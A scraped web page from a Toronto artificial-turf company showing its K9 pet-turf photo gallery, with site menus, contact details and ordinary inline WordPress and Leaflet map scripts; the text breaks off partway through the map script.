var breeze_prefetch = {"local_url":"https://www.designturf.ca","ignore_remote_prefetch":"1","ignore_list":["wp-admin","wp-login.php"]}; //# sourceURL=breeze-prefetch-js-extra
https://www.designturf.ca/wp-content/plugins/responsive-lightbox/assets/infinitescroll/infinite-scroll.pkgd.min.js
https://www.designturf.ca/wp-content/plugins/responsive-lightbox/assets/dompurify/purify.min.js
window.RLG = window.RLG || {}; window.RLG.sanitizeAllowedHosts = ["youtube.com","www.youtube.com","youtu.be","vimeo.com","player.vimeo.com"]; //# sourceURL=responsive-lightbox-sanitizer-js-before
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_cff8034e8b54db04305eb25af61fbf22.js
var rlArgs = {"script":"prettyphoto","selector":"lightbox","customEvents":"ajaxComplete","activeGalleries":true,"animationSpeed":"normal","slideshow":false,"slideshowDelay":5000,"slideshowAutoplay":false,"opacity":"0.75","showTitle":true,"allowResize":true,"allowExpand":true,"width":1080,"height":720,"separator":"\/","theme":"pp_default","horizontalPadding":20,"hideFlash":false,"wmode":"opaque","videoAutoplay":false,"modal":true,"deeplinking":true,"overlayGallery":true,"keyboardShortcuts":true,"social":false,"woocommerce_gallery":false,"ajaxurl":"https:\/\/www.designturf.ca\/wp-admin\/admin-ajax.php","nonce":"c16557ea7c","preview":false,"postId":8005,"scriptExtension":false}; //# sourceURL=responsive-lightbox-js-before
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_faa3be4a3f60fdca4a3a2fe70597adf9.js
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_7a48c52c849d19588b172c03df75b236.js
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_e9cc3cb85f6b3d4e39ed8fea92d6eab7.js
var ajaxurl = 'https://www.designturf.ca/wp-admin/admin-ajax.php';
window._tpt ??= {}; window.SR7 ??= {}; _tpt.R ??= {}; _tpt.R.fonts ??= {}; _tpt.R.fonts.customFonts??= {}; SR7.devMode = false; SR7.F ??= {}; SR7.G ??= {}; SR7.LIB ??= {}; SR7.E ??= {}; SR7.E.gAddons ??= {}; SR7.E.php ??= {}; SR7.E.nonce = '2cc725905b'; SR7.E.ajaxurl = 'https://www.designturf.ca/wp-admin/admin-ajax.php'; SR7.E.resturl = 'https://www.designturf.ca/wp-json/'; SR7.E.slug_path = 'revslider/revslider.php'; SR7.E.slug = 'revslider'; SR7.E.plugin_url = 'https://www.designturf.ca/wp-content/plugins/revslider/'; SR7.E.wp_plugin_url = 'https://www.designturf.ca/wp-content/plugins/'; SR7.E.revision = '6.7.58'; SR7.E.fontBaseUrl = '//fonts.googleapis.com/css2?family='; SR7.G.breakPoints = [1240,1024,778,480]; SR7.G.fSUVW = false; SR7.E.modules = ['module','page','slide','layer','draw','animate','srtools','canvas','defaults','carousel','navigation','media','modifiers','migration']; SR7.E.libs = ['WEBGL']; SR7.E.css = ['csslp','cssbtns','cssfilters','cssnav','cssmedia']; SR7.E.resources = {}; SR7.E.ytnc = false; SR7.JSON ??= {}; /*! Slider Revolution 7.0 - Page Processor */ !function(){"use strict";window.SR7??={},window._tpt??={},SR7.version="Slider Revolution 6.7.40",_tpt.getMobileZoom=()=>_tpt.is_mobile?document.documentElement.clientWidth/window.innerWidth:1,_tpt.getWinDim=function(t){_tpt.screenHeightWithUrlBar??=window.innerHeight;let e=SR7.F?.modal?.visible&&SR7.M[SR7.F.module.getIdByAlias(SR7.F.modal.requested)];_tpt.scrollBar=window.innerWidth!==document.documentElement.clientWidth||e&&window.innerWidth!==e.c.module.clientWidth,_tpt.winW=_tpt.getMobileZoom()*window.innerWidth-(_tpt.scrollBar||"prepare"==t?_tpt.scrollBarW??_tpt.mesureScrollBar():0),_tpt.winH=_tpt.getMobileZoom()*window.innerHeight,_tpt.winWAll=document.documentElement.clientWidth},_tpt.getResponsiveLevel=function(t,e){return SR7.G.fSUVW?_tpt.closestGE(t,window.innerWidth):_tpt.closestGE(t,_tpt.winWAll)},_tpt.mesureScrollBar=function(){let t=document.createElement("div");return t.className="RSscrollbar-measure",t.style.width="100px",t.style.height="100px",t.style.overflow="scroll",t.style.position="absolute",t.style.top="-9999px",document.body.appendChild(t),_tpt.scrollBarW=t.offsetWidth-t.clientWidth,document.body.removeChild(t),_tpt.scrollBarW},_tpt.loadCSS=async function(t,e,s){return s?_tpt.R.fonts.required[e].status=1:(_tpt.R[e]??={},_tpt.R[e].status=1),new Promise((i,n)=>{if(_tpt.isStylesheetLoaded(t))s?_tpt.R.fonts.required[e].status=2:_tpt.R[e].status=2,i();else{const o=document.createElement("link");o.rel="stylesheet";let l="text",r="css";o["type"]=l+"/"+r,o.href=t,o.onload=()=>{s?_tpt.R.fonts.required[e].status=2:_tpt.R[e].status=2,i()},o.onerror=()=>{s?_tpt.R.fonts.required[e].status=3:_tpt.R[e].status=3,n(new Error(`Failed to load CSS: ${t}`))},document.head.appendChild(o)}})},_tpt.addContainer=function(t){const{tag:e="div",id:s,class:i,datas:n,textContent:o,iHTML:l}=t,r=document.createElement(e);if(s&&""!==s&&(r.id=s),i&&""!==i&&(r.className=i),n)for(const[t,e]of Object.entries(n))"style"==t?r.style.cssText=e:r.setAttribute(`data-${t}`,e);return o&&(r.textContent=o),l&&(r.innerHTML=l),r},_tpt.collector=function(){return{fragment:new DocumentFragment,add(t){var e=_tpt.addContainer(t);return this.fragment.appendChild(e),e},append(t){t.appendChild(this.fragment)}}},_tpt.isStylesheetLoaded=function(t){let e=t.split("?")[0];return Array.from(document.querySelectorAll('link[rel="stylesheet"], link[rel="preload"]')).some(t=>t.href.split("?")[0]===e)},_tpt.preloader={requests:new Map,preloaderTemplates:new Map,show:function(t,e){if(!e||!t)return;const{type:s,color:i}=e;if(s<0||"off"==s)return;const n=`preloader_${s}`;let o=this.preloaderTemplates.get(n);o||(o=this.build(s,i),this.preloaderTemplates.set(n,o)),this.requests.has(t)||this.requests.set(t,{count:0});const l=this.requests.get(t);clearTimeout(l.timer),l.count++,1===l.count&&(l.timer=setTimeout(()=>{l.preloaderClone=o.cloneNode(!0),l.anim&&l.anim.kill(),void 0!==_tpt.gsap?l.anim=_tpt.gsap.fromTo(l.preloaderClone,1,{opacity:0},{opacity:1}):l.preloaderClone.classList.add("sr7-fade-in"),t.appendChild(l.preloaderClone)},150))},hide:function(t){if(!this.requests.has(t))return;const e=this.requests.get(t);e.count--,e.count<0&&(e.count=0),e.anim&&e.anim.kill(),0===e.count&&(clearTimeout(e.timer),e.preloaderClone&&(e.preloaderClone.classList.remove("sr7-fade-in"),e.anim=_tpt.gsap.to(e.preloaderClone,.3,{opacity:0,onComplete:function(){e.preloaderClone.remove()}})))},state:function(t){if(!this.requests.has(t))return!1;return this.requests.get(t).count>0},build:(t,e="#ffffff",s="")=>{if(t<0||"off"===t)return null;const i=parseInt(t);if(t="prlt"+i,isNaN(i))return null;if(_tpt.loadCSS(SR7.E.plugin_url+"public/css/preloaders/t"+i+".css","preloader_"+t),isNaN(i)||i<6){const n=`background-color:${e}`,o=1===i||2==i?n:"",l=3===i||4==i?n:"",r=_tpt.collector();["dot1","dot2","bounce1","bounce2","bounce3"].forEach(t=>r.add({tag:"div",class:t,datas:{style:l}}));const d=_tpt.addContainer({tag:"sr7-prl",class:`${t} ${s}`,datas:{style:o}});return r.append(d),d}{let n={};if(7===i){let t;e.startsWith("#")?(t=e.replace("#",""),t=`rgba(${parseInt(t.substring(0,2),16)}, ${parseInt(t.substring(2,4),16)}, ${parseInt(t.substring(4,6),16)}, `):e.startsWith("rgb")&&(t=e.slice(e.indexOf("(")+1,e.lastIndexOf(")")).split(",").map(t=>t.trim()),t=`rgba(${t[0]}, ${t[1]}, ${t[2]}, `),t&&(n.style=`border-top-color: ${t}0.65); border-bottom-color: ${t}0.15); border-left-color: ${t}0.65); border-right-color: ${t}0.15)`)}else 12===i&&(n.style=`background:${e}`);const o=[10,0,4,2,5,9,0,4,4,2][i-6],l=_tpt.collector(),r=l.add({tag:"div",class:"sr7-prl-inner",datas:n});Array.from({length:o}).forEach(()=>r.appendChild(l.add({tag:"span",datas:{style:`background:${e}`}})));const d=_tpt.addContainer({tag:"sr7-prl",class:`${t} ${s}`});return l.append(d),d}}},SR7.preLoader={show:(t,e)=>{"off"!==(SR7.M[t]?.settings?.pLoader?.type??"off")&&_tpt.preloader.show(e||SR7.M[t].c.module,SR7.M[t]?.settings?.pLoader??{color:"#fff",type:10})},hide:(t,e)=>{"off"!==(SR7.M[t]?.settings?.pLoader?.type??"off")&&_tpt.preloader.hide(e||SR7.M[t].c.module)},state:(t,e)=>_tpt.preloader.state(e||SR7.M[t].c.module)},_tpt.prepareModuleHeight=function(t){window.SR7.M??={},window.SR7.M[t.id]??={},"ignore"==t.googleFont&&(SR7.E.ignoreGoogleFont=!0);let e=window.SR7.M[t.id];if(null==_tpt.scrollBarW&&_tpt.mesureScrollBar(),e.c??={},e.states??={},e.settings??={},e.settings.size??={},t.fixed&&(e.settings.fixed=!0),e.c.module=document.querySelector("sr7-module#"+t.id),e.c.adjuster=e.c.module.getElementsByTagName("sr7-adjuster")[0],e.c.content=e.c.module.getElementsByTagName("sr7-content")[0],"carousel"==t.type&&(e.c.carousel=e.c.content.getElementsByTagName("sr7-carousel")[0]),null==e.c.module||null==e.c.module)return;t.plType&&t.plColor&&(e.settings.pLoader={type:t.plType,color:t.plColor}),void 0===t.plType||"off"===t.plType||SR7.preLoader.state(t.id)&&SR7.preLoader.state(t.id,e.c.module)||SR7.preLoader.show(t.id,e.c.module),_tpt.winW||_tpt.getWinDim("prepare"),_tpt.getWinDim();let s=""+e.c.module.dataset?.modal;"modal"==s||"true"==s||"undefined"!==s&&"false"!==s||(e.settings.size.fullWidth=t.size.fullWidth,e.LEV??=_tpt.getResponsiveLevel(window.SR7.G.breakPoints,t.id),t.vpt=_tpt.fillArray(t.vpt,5),e.settings.vPort=t.vpt[e.LEV],void 0!==t.el&&"720"==t.el[4]&&t.gh[4]!==t.el[4]&&"960"==t.el[3]&&t.gh[3]!==t.el[3]&&"768"==t.el[2]&&t.gh[2]!==t.el[2]&&delete t.el,e.settings.size.height=null==t.el||null==t.el[e.LEV]||0==t.el[e.LEV]||"auto"==t.el[e.LEV]?_tpt.fillArray(t.gh,5,-1):_tpt.fillArray(t.el,5,-1),e.settings.size.width=_tpt.fillArray(t.gw,5,-1),e.settings.size.minHeight=_tpt.fillArray(t.mh??[0],5,-1),e.cacheSize={fullWidth:e.settings.size?.fullWidth,fullHeight:e.settings.size?.fullHeight},void 0!==t.off&&(t.off?.t&&(e.settings.size.m??={})&&(e.settings.size.m.t=t.off.t),t.off?.b&&(e.settings.size.m??={})&&(e.settings.size.m.b=t.off.b),t.off?.l&&(e.settings.size.p??={})&&(e.settings.size.p.l=t.off.l),t.off?.r&&(e.settings.size.p??={})&&(e.settings.size.p.r=t.off.r),e.offsetPrepared=!0),_tpt.updatePMHeight(t.id,t,!0))},_tpt.updatePMHeight=(t,e,s)=>{let i=SR7.M[t];var n=i.settings.size.fullWidth?_tpt.winW:i.c.module.parentNode.offsetWidth;n=0===n||isNaN(n)?_tpt.winW:n;let o=i.settings.size.width[i.LEV]||i.settings.size.width[i.LEV++]||i.settings.size.width[i.LEV--]||n,l=i.settings.size.height[i.LEV]||i.settings.size.height[i.LEV++]||i.settings.size.height[i.LEV--]||0,r=i.settings.size.minHeight[i.LEV]||i.settings.size.minHeight[i.LEV++]||i.settings.size.minHeight[i.LEV--]||0;if(l="auto"==l?0:l,l=parseInt(l),"carousel"!==e.type&&(n-=parseInt(e.onw??0)||0),i.MP=!i.settings.size.fullWidth&&n<o||_tpt.winW<o?Math.min(1,n/o):1,e.size.fullScreen||e.size.fullHeight){let t=parseInt(e.fho)||0,s=(""+e.fho).indexOf("%")>-1;e.newh=_tpt.winH-(s?_tpt.winH*t/100:t)}else e.newh=i.MP*Math.max(l,r);if(e.newh+=(parseInt(e.onh??0)||0)+(parseInt(e.carousel?.pt)||0)+(parseInt(e.carousel?.pb)||0),void 0!==e.slideduration&&(e.newh=Math.max(e.newh,parseInt(e.slideduration)/3)),e.shdw&&_tpt.buildShadow(e.id,e),i.c.adjuster.style.height=e.newh+"px",i.c.module.style.height=e.newh+"px",i.c.content.style.height=e.newh+"px",i.states.heightPrepared=!0,i.dims??={},i.dims.moduleRect=i.c.module.getBoundingClientRect(),i.c.content.style.left="-"+i.dims.moduleRect.left+"px",!i.settings.size.fullWidth)return s&&requestAnimationFrame(()=>{n!==i.c.module.parentNode.offsetWidth&&_tpt.updatePMHeight(e.id,e)}),void _tpt.bgStyle(e.id,e,window.innerWidth==_tpt.winW,!0);_tpt.bgStyle(e.id,e,window.innerWidth==_tpt.winW,!0),requestAnimationFrame(function(){s&&requestAnimationFrame(()=>{n!==i.c.module.parentNode.offsetWidth&&_tpt.updatePMHeight(e.id,e)})}),i.earlyResizerFunction||(i.earlyResizerFunction=function(){requestAnimationFrame(function(){_tpt.getWinDim(),_tpt.moduleDefaults(e.id,e),_tpt.updateSlideBg(t,!0)})},window.addEventListener("resize",i.earlyResizerFunction))},_tpt.buildShadow=function(t,e){let s=SR7.M[t];null==s.c.shadow&&(s.c.shadow=document.createElement("sr7-module-shadow"),s.c.shadow.classList.add("sr7-shdw-"+e.shdw),s.c.content.appendChild(s.c.shadow))},_tpt.bgStyle=async(t,e,s,i,n)=>{const o=SR7.M[t];if((e=e??o.settings).fixed&&!o.c.module.classList.contains("sr7-top-fixed")&&(o.c.module.classList.add("sr7-top-fixed"),o.c.module.style.position="fixed",o.c.module.style.width="100%",o.c.module.style.top="0px",o.c.module.style.left="0px",o.c.module.style.pointerEvents="none",o.c.module.style.zIndex=5e3,o.c.content.style.pointerEvents="none"),null==o.c.bgcanvas){let t=document.createElement("sr7-module-bg"),l=!1;if("string"==typeof e?.bg?.color&&e?.bg?.color.includes("{"))if(_tpt.gradient&&_tpt.gsap)e.bg.color=_tpt.gradient.convert(e.bg.color);else try{let t=JSON.parse(e.bg.color);(t?.orig||t?.string)&&(e.bg.color=JSON.parse(e.bg.color))}catch(t){return}let r="string"==typeof e?.bg?.color?e?.bg?.color||"transparent":e?.bg?.color?.string??e?.bg?.color?.orig??e?.bg?.color?.color??"transparent";if(t.style["background"+(String(r).includes("grad")?"":"Color")]=r,("transparent"!==r||n)&&(l=!0),o.offsetPrepared&&(t.style.visibility="hidden"),e?.bg?.image?.src&&(t.style.backgroundImage=`url(${e?.bg?.image.src})`,t.style.backgroundSize=""==(e.bg.image?.size??"")?"cover":e.bg.image.size,t.style.backgroundPosition=e.bg.image.position,t.style.backgroundRepeat=""==e.bg.image.repeat||null==e.bg.image.repeat?"no-repeat":e.bg.image.repeat,l=!0),!l)return;o.c.bgcanvas=t,e.size.fullWidth?t.style.width=_tpt.winW-(s&&_tpt.winH<document.body.offsetHeight?_tpt.scrollBarW:0)+"px":i&&(t.style.width=o.c.module.offsetWidth+"px"),e.sbt?.use?o.c.content.appendChild(o.c.bgcanvas):o.c.module.appendChild(o.c.bgcanvas)}o.c.bgcanvas.style.height=void 0!==e.newh?e.newh+"px":("carousel"==e.type?o.dims.module.h:o.dims.content.h)+"px",o.c.bgcanvas.style.left=!s&&e.sbt?.use||o.c.bgcanvas.closest("SR7-CONTENT")?"0px":"-"+(o?.dims?.moduleRect?.left??0)+"px"},_tpt.updateSlideBg=function(t,e){const s=SR7.M[t];let i=s.settings;s?.c?.bgcanvas&&(i.size.fullWidth?s.c.bgcanvas.style.width=_tpt.winW-(e&&_tpt.winH<document.body.offsetHeight?_tpt.scrollBarW:0)+"px":preparing&&(s.c.bgcanvas.style.width=s.c.module.offsetWidth+"px"))},_tpt.moduleDefaults=(t,e)=>{let s=SR7.M[t];null!=s&&null!=s.c&&null!=s.c.module&&(s.dims??={},s.dims.moduleRect=s.c.module.getBoundingClientRect(),s.c.content.style.left="-"+s.dims.moduleRect.left+"px",s.c.content.style.width=_tpt.winW-_tpt.scrollBarW+"px","carousel"==e.type&&(s.c.module.style.overflow="visible"),_tpt.bgStyle(t,e,window.innerWidth==_tpt.winW))},_tpt.getOffset=t=>{var e=t.getBoundingClientRect(),s=window.pageXOffset||document.documentElement.scrollLeft,i=window.pageYOffset||document.documentElement.scrollTop;return{top:e.top+i,left:e.left+s}},_tpt.fillArray=function(t,e){let s,i;t=Array.isArray(t)?t:[t];let n=Array(e),o=t.length;for(i=0;i<t.length;i++)n[i+(e-o)]=t[i],null==s&&"#"!==t[i]&&(s=t[i]);for(let t=0;t<e;t++)void 0!==n[t]&&"#"!=n[t]||(n[t]=s),s=n[t];return n},_tpt.closestGE=function(t,e){let s=Number.MAX_VALUE,i=-1;for(let n=0;n<t.length;n++)t[n]-1>=e&&t[n]-1-e<s&&(s=t[n]-1-e,i=n);return++i}}();
  • Home
  • Products
  • Our Services
  • Specifications
  • Full Pricing Page
  • About Us
  • Resources
  • Dedicated Review Page
  • Blog
  • Contact

  • Home
  • Products
    • Artificial Grass Toronto | Installation & Landscaping
    • Dog And Pet Turf
    • playground page (new)
    • Golf Greens
      • Backyard Golf Greens And Beyond
      • Artificial Golf Greens & Turf
      • Golf Greens The Process
    • Athletic Surfaces
    • Before & After Images Gallery
    • Landscape Construction
      • Beautiful Gardens & Professional Plantings
      • Patios & Stonework
      • Modern Fencing & Privacy Screens
      • Decking & Outdoor Living Spaces
    • Envirofill Artificial Turf Infill
  • Our Services
  • Specifications
    • Landscape Grass Specification Overview
      • Muskoka-Royal-70 Spec
      • Ontario-Lush-80
      • Ontario-Lush-60
      • Algonquin-ECO-60 spec
      • Ontario-Lush-40-Spec
      • Algonquin-ECO-40 Spec
    • Pet Turf Specifications Overview
      • K9-60 Specification
      • K9-45 Specification
    • Playground Turf Specifications Overview
      • Optimum-Play-60-Spec
      • Optimum-Play-45 spec
    • Putting Greens Specifications Overview
      • PG-Augusta-spec
      • The-Players-spec
    • Sports Turf Specifications Overview
      • XL PRO
      • Sport 52
      • Sport 45
  • Full Pricing Page
    • Premium Turf Pricing
      • DT MR70-new
      • DT-ONT-LUSH-80
    • Natural Turf Pricing
      • DT-ALGONQUIN-ECO-60
      • DT-ONT-LUSH-60
      • DT-ALGONQUIN-ECO-40
      • DT-ONT-LUSH-40
    • Turf for Kids
      • DT-OPTIMUM-PLAY-60
      • DT-OPTIMUM-PLAY-45
    • Doggie Turf
      • DT-K9-Champion-60
      • DT-K9-Champion-45
    • Putting Greens
      • DT PG Augusta
      • DT The Players
  • About Us
    • Service Areas Page
  • Resources
    • All Galleries
    • Master FAQ
    • Landscape Turf Overview
      • Artificial Grass Comparison Guide
      • Artificial Grass Cost Guide
      • Landscape Grass Design Ideas
      • Small Yard Artificial Grass
      • Artificial Grass Buying Guide
      • Installation FAQ
    • Playground Turf Overview
      • Playground Turf Installation
      • Playground Turf FAQ New
      • Playground Turf Cost Guide
      • Playground Turf Comparison
      • Playground Turf Maintenance
      • Fall Height & Impact Testing New
      • Playground Turf Safety Standards
    • Putting Greens Overview
      • Putting Green FAQ
      • Putting Green Cost New
      • Putting Green Guide
      • Putting Green Maintenance
      • Putting Green Base Construction New
    • Pet Turf Overview
      • Pet Turf FAQ
      • Pet Turf Cost
      • Pet turf Guide
      • Preventing Odours in Pet Turf
      • Pet Turf Comparison
      • Pet Turf Maintenance Guide
      • Pet Turf Installation
      • Pet Turf Drainage Explained
    • Synthetic Turf Videos
    • Installation Warranty
    • Artificial Grass Warranty
  • Dedicated Review Page
  • Blog
    • The Complete Beginners Guide to Artificial Grass (Toronto Edition)
    • Artificial-Grass-Cost-in-Toronto (2026 Pricing Guide)
    • Environmental Benefits of Artificial Grass
    • Benefits of Modern artificial grass
    • Benefits of artificial grass
    • artificial grass vs real grass
    • Artificial Grass for Pets
    • Best Artificial Grass Blog
    • Small Yard Artificial Grass-Blog
    • Playground grass for kids
  • Contact
  • Home
  • Products
    • Artificial Grass Toronto | Installation & Landscaping
    • Dog And Pet Turf
    • playground page (new)
    • Golf Greens
    • Athletic Surfaces
    • Before & After Images Gallery
    • Landscape Construction
    • Envirofill Artificial Turf Infill
  • Our Services
  • Specifications
    • Landscape Grass Specification Overview
    • Pet Turf Specifications Overview
    • Playground Turf Specifications Overview
    • Putting Greens Specifications Overview
    • Sports Turf Specifications Overview
  • Full Pricing Page
    • Premium Turf Pricing
    • Natural Turf Pricing
    • Turf for Kids
    • Doggie Turf
    • Putting Greens
  • About Us
    • Service Areas Page
  • Resources
    • All Galleries
    • Master FAQ
    • Landscape Turf Overview
    • Playground Turf Overview
    • Putting Greens Overview
    • Pet Turf Overview
    • Synthetic Turf Videos
    • Installation Warranty
    • Artificial Grass Warranty
  • Dedicated Review Page
  • Blog
    • The Complete Beginners Guide to Artificial Grass (Toronto Edition)
    • Artificial-Grass-Cost-in-Toronto (2026 Pricing Guide)
    • Environmental Benefits of Artificial Grass
    • Benefits of Modern artificial grass
    • Benefits of artificial grass
    • artificial grass vs real grass
    • Artificial Grass for Pets
    • Best Artificial Grass Blog
    • Small Yard Artificial Grass-Blog
    • Playground grass for kids
  • Contact
✕
Home › K9 Image Gallery

K9 Turf Gallery

Our K9 Turf systems are engineered for dogs of all sizes — providing a clean, safe, mud-free surface that drains quickly and withstands heavy use. Explore real K9 installations across Toronto and the GTA.

Three dogs, including a large bloodhound, play on a green artificial turf lawn in a backyard with a wooden fence.
Two dogs, one black and one brown and white, lie on artificial grass with distinct sun and shadow stripes.
Two short-haired dogs, one black and one brown and white, stand on a wooden deck looking at a path cleared through deep snow on artificial grass
two best friends watching out chilling on artificial grass
“Dog playing on durable pet‑friendly artificial turf installed in a Toronto backyard.”
Two Rottweiler dogs lie on bright green artificial grass, one playfully holding a large red ball.
Dog lying on artificial grass in landscaped backyard garden.
Dog standing on artificial grass playing in sprinkler spray
Dog lying on artificial grass in a backyard garden
Small dog standing on artificial grass with tree shadows
Two curly-haired dogs sitting on artificial grass in a landscaped backyard
Child standing beside a golden retriever on artificial grass in a fenced yard
Dog carrying a ball while walking on artificial grass in a landscaped backyard
A white golden retriever lies on green artificial grass, looking to the side with its mouth slightly open
A fluffy white fluffy dog with a pink tongue sits smiling on bright green artificial grass.
A fluffy white dog stands on a wooden deck holding a stick in its mouth, looking towards the camera, with a backyard and artificial grass in the background.
Person lying on artificial grass playing with a dog
Golden retriever sitting on artificial grass in a fenced backyard
Small dog standing on artificial grass in backyard with fence and trees
Small dog standing on artificial turf with toy near wooden fence.
A large Bernese Mountain Dog playfully barks over a smaller brown dog who is also barking, both on a wooden deck next to artificial grass.
A medium-sized brown doodle dog with curly fur and a pink tongue hanging out stands on a green artificial turf.
A dark brindle French Bulldog lies on an artificial grass putting green with a blue flag and golf balls in the background.
Four Australian Shepherds of various colours sit posed on a green artificial turf.
A cream-coloured doodle puppy wearing a harness sits on a strip of artificial grass next to a building.
A black and white poodle mix dog with a fluffy tail stands on a large green artificial grass lawn.
Four reddish-brown dogs, possibly Rhodesian Ridgebacks, appear to be playing or moving energetically on artificial grass with some snow in the background
Curly‑haired dog lying on artificial grass with orange and blue ball.
Bloodhound lying on artificial grass in a shaded backyard
Brown dog standing on artificial grass holding orange toy
Dog lying on artificial grass with colorful ball.
Black dog on artificial grass with tennis ball in garden
Dog sitting on artificial turf in front of K9‑Champion Bark Yard rules sign.
A large tan and black dog is rolling on its back in a patch of artificial grass, enjoying the sun
Brown dog holding a ball while walking on artificial grass lawn
Multiple dogs playing on artificial turf in enclosed dog daycare area.
Dogs love artificial grass
2 large breed dogs playing aggressively on artificial grass
Husky without artificial grass just mud

Thinking About Installing K9 Turf?

We design and install premium pet-friendly turf systems across Toronto and the GTA. Get in touch to discuss your project.

Get a Quote →

Explore More Artificial Grass Solutions

  • Landscape Turf Installation
  • Pet‑Friendly K9 Turf
  • Playground & Daycare Turf
  • Backyard Putting Greens

Ready to Transform Your Space?

You’ve seen what’s possible. Get a fast, no‑obligation quote for professional artificial turf installation in the GTA.

Request a Free Quote

DESIGN TURF

Toronto's top-tier artificial turf specialists. Expert residential, commercial, and custom installations serving the entire Greater Toronto Area.

Call Us
(416) 546-6490
Email
info@designturf.ca
Location
10 Gormley Industrial Ave, Unit 2-3 Gormley, ON L0H 1G0 Serving the GTA
Hours
Mon – Sat: 8 AM – 6 PM
Our Services
  • Residential Home landscape grass
  • Residential backyard playgrounds
  • Residential Backyard Putting Greens
  • Daycare Centres Artificial Safe Surfaces
  • Dog Kennels
  • Commercial Artificial landscape grass & Construction
  • Schools, & daycare operators
  • Sports Fields & Schools
© 2026 Artificial Grass Toronto | Design Turf. All Rights Reserved. Muffin group
  • Home
  • Products
  • Our Services
  • Specifications
  • Full Pricing Page
  • About Us
  • Resources
  • Dedicated Review Page
  • Blog
  • Contact
Call 416-546-6490
(function(){ 'use strict'; /* ═══════════════════════════════════════════ CONFIGURATION — UPDATE THESE VALUES ═══════════════════════════════════════════ */ // Design Turf HQ coordinates (update to exact address) var HQ_LAT = 43.6532; var HQ_LNG = -79.3832; // Service area pins (red markers) — add/remove as needed var SERVICE_AREAS = [ { name: 'Mississauga', lat: 43.5890, lng: -79.6441 }, { name: 'Brampton', lat: 43.7315, lng: -79.7624 }, { name: 'Vaughan', lat: 43.8361, lng: -79.4983 }, { name: 'Markham', lat: 43.8561, lng: -79.3370 }, { name: 'Oakville', lat: 43.4675, lng: -79.6877 }, { name: 'Richmond Hill', lat: 43.8828, lng: -79.4403 }, { name: 'Pickering', lat: 43.8354, lng: -79.0868 }, { name: 'Ajax', lat: 43.8509, lng: -79.0204 }, { name: 'Newmarket', lat: 44.0592, lng: -79.4613 }, { name: 'Milton', lat: 43.5183, lng: -79.8774 }, { name: 'Burlington', lat: 43.3255, lng: -79.7990 }, { name: 'Stouffville', lat: 43.9701, lng: -79.2453 }, { name: 'Oshawa', lat: 43.8971, lng: -78.8658 }, { name: 'Uxbridge', lat: 44.11396, lng: -79.11049 } ]; // WP REST API — Services category ID // ► OPTION A: By category (requires categories enabled on pages) var SERVICES_CATEGORY_ID = 0; // ← Replace with your actual category ID // ► OPTION B: By parent page ID (uncomment below, comment out Option A) // var SERVICES_PARENT_ID = 0; // ← Replace with your Services parent page ID /* ═══════════════════════════════════════════ PIN FACTORY — Inline SVG markers ═══════════════════════════════════════════ */ function makePin(fillColor, label) { var svg = '<svg xmlns="http://www.w3.org/2000/svg" width="32" height="46" viewBox="0 0 32 46">' + '<defs><filter id="ds' + fillColor.replace('#','') + '" x="-20%" y="-10%" width="140%" height="130%">' + '<feDropShadow dx="0" dy="2" stdDeviation="2" flood-color="rgba(0,0,0,0.3)"/></filter></defs>' + '<path d="M16 1C7.7 1 1 7.7 1 16c0 11.3 15 29 15 29s15-17.7 15-29C31 7.7 24.3 1 16 1z" ' + 'fill="' + fillColor + '" stroke="#ffffff" stroke-width="2" filter="url(%23ds' + fillColor.replace('#','') + ')"/>' + '<circle cx="16" cy="15" r="6.5" fill="#ffffff" opacity="0.92"/>' + '</svg>'; return L.divIcon({ className: '', html: svg, iconSize: [32, 46], iconAnchor: [16, 46], popupAnchor:[0, -42] }); } var greenPin = makePin('#00A651', 'HQ'); var redPin = makePin('#E53935', 'Area'); /* ═══════════════════════════════════════════ MAP INITIALIZATION ═══════════════════════════════════════════ */ var map = L.map('dt-leaflet-map', { center: [HQ_LAT, HQ_LNG], zoom: 10, scrollWheelZoom: false, zoomControl: true, attributionControl: true }); // CartoDB Voyager tiles — clean, premium aesthetic L.tileLayer('https://{s}.basemaps.cartocdn.com/rastertiles/voyager/{z}/{x}/{y}{r}.png', { attribution: '&copy; <a href="https://openstreetmap.org">OpenStreetMap</a> &copy; <a href="https://carto.com/">CARTO</a>', subdomains: 'abcd', maxZoom: 19 }).addTo(map); // ── HQ Marker (GREEN) ── L.marker([HQ_LAT, HQ_LNG], { icon: greenPin }) .addTo(map) .bindPopup( '<div style="font-family:Segoe UI,system-ui,sans-serif;text-align:center;padding:6px 10px;min-width:160px;">' + '<div style="font-size:16px;font-weight:800;color:#00A651;margin-bottom:3px;">Design Turf</div>' + '<div style="font-size:13px;color:#555;margin-bottom:6px;">Headquarters · Toronto, ON</div>' + '<a href="/contact/" style="display:inline-block;padding:5px 16px;background:#00A651;color:#fff;text-decoration:none;font-size:12px;font-weight:700;border-radius:4px;">Get a Quote</a>' + '</div>' ); // ── Service Area Markers (RED) ── var bounds = L.latLngBounds([[HQ_LAT, HQ_LNG]]); SERVICE_AREAS.forEach(function(area) { L.marker([area.lat, area.lng], { icon: redPin }) .addTo(map) .bindPopup( '<div style="font-family:Segoe UI,system-ui,sans-serif;text-align:center;padding:6px 10px;">' + '<div style="font-size:15px;font-weight:700;color:#E53935;margin-bottom:2px;">' + area.name + '</div>' + '<div style="font-size:12px;color:#666;">We service this area</div>' + '</div>' ); bounds.extend([area.lat, area.lng]); }); map.fitBounds(bounds, { padding: [40, 40] }); /* ═══════════════════════════════════════════ SERVICE AREA SHADING — Convex Hull + Buffer Renders behind markers automatically ═══════════════════════════════════════════ */ // Collect all points (HQ + service areas) var allPoints = [[HQ_LAT, HQ_LNG]]; SERVICE_AREAS.forEach(function(a) { allPoints.push([a.lat, a.lng]); }); // ── Convex Hull (Gift Wrapping / Jarvis March) ── function cross(O, A, B) { return (A[1] - O[1]) * (B[0] - O[0]) - (A[0] - O[0]) * (B[1] - O[1]); } function convexHull(points) { var pts = points.slice().sort(function(a, b) { return a[0] === b[0] ? a[1] - b[1] : a[0] - b[0]; }); if (pts.length <= 1) return pts; var lower = []; for (var i = 0; i < pts.length; i++) { while (lower.length >= 2 && cross(lower[lower.length - 2], lower[lower.length - 1], pts[i]) <= 0) lower.pop(); lower.push(pts[i]); } var upper = []; for (var j = pts.length - 1; j >= 0; j--) { while (upper.length >= 2 && cross(upper[upper.length - 2], upper[upper.length 